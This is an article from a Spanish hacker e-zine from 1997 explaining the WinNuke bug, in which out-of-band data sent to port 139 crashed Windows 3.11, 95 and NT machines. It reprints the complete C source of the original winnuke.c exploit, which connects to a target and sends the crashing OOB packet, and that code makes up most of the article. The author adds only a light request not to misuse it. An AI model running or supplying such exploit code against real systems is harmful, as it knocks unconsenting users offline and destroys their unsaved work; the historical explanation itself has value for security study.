SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

OOB Attack!

      3571

Autor: Paseante
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 03. OOB ATTACK!                                                           o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII


Recientemente, principios de mayo 97, se empezo a comentar en algunos circulos
que un fallo en el manejo de datos OOB (Out of Band-Fuera de Banda) por parte
de Windows en sus versiones Win 3.11, Win 95 y Win NT podia hacer que un
atacante _desconectase y colgase_ el ordenador de una persona que estuviese
conectada a Internet usando uno de esos S.O (o seudo operativos).
Los requisitos eran que la presa utilizase el protocolo NetBios, el estandar
de IBM para redes, y no estuviese tras un proxy o firewall, si se cumplian
esos requisitos bastaba con saber su direccion IP para mandarle unos datos
modulados como OOB al puerto 139 y hacer que le apareciese la tipica pantalla
azul de Windows con el mensaje: "El sistema se halla ocupado o bien se ha
vuelto inestable...".

Unica solucion?. Resetear el ordenador, incluso usando NT, perder la conexion
y datos no guardados.

Respuesta de MSoft?. Incluida en el Service Pack 3 para NT, avanzando para
Windows 95, (para cuando salga la revista ya habra parche) y desentendimiento
de Win 3.11.

Problema?. Que aun en el caso de aplicar el patch _si el atacante utilizaba
un Macintosh *colgaba* el ordenador victima_ (que risa para los fanaticos del
Mac). Se hablo de "diferente implementacion del TCP/IP" en el Apple pero
parece que al final se trataba de que el Mac enviaba los datos con el flag
de urgente. De todos modos MS saco un nuevo parche que esta vez si fija el
problema (como estan acostumbrados a sacar patchs se dan mucha ma€a ;> )

Como las noticias vuelan es posible que muchos de vosotros hayais sido
victimas o verdugos, quien sabe? de este "bug" vamos a incluir aqui el
programa original que destapo el asunto obra de _eci.
Aqui va el codigo original en C

/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Ataque al puerto 139: solo por diversion */

int x, s;
char *str = "Bye now, have sweet dreams!";  /* Cadena a enviar como OOB */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;                  /* Busca la presa */
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");       /* Presa en punto de mira */
             close(sock);
             return(-4);
        }
        printf("Conectado a [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s,argv[1],dport);


     printf("Running crash... ");       /*Modula la cadena como OOB */
       send(s,str,strlen(str),MSG_OOB);
       usleep(100000);
     printf("Done!\n");
     close(s);
}

Por supuesto espero que nadie se dedique a colgar ordenadores a diestro y
siniestro, no seais lamers.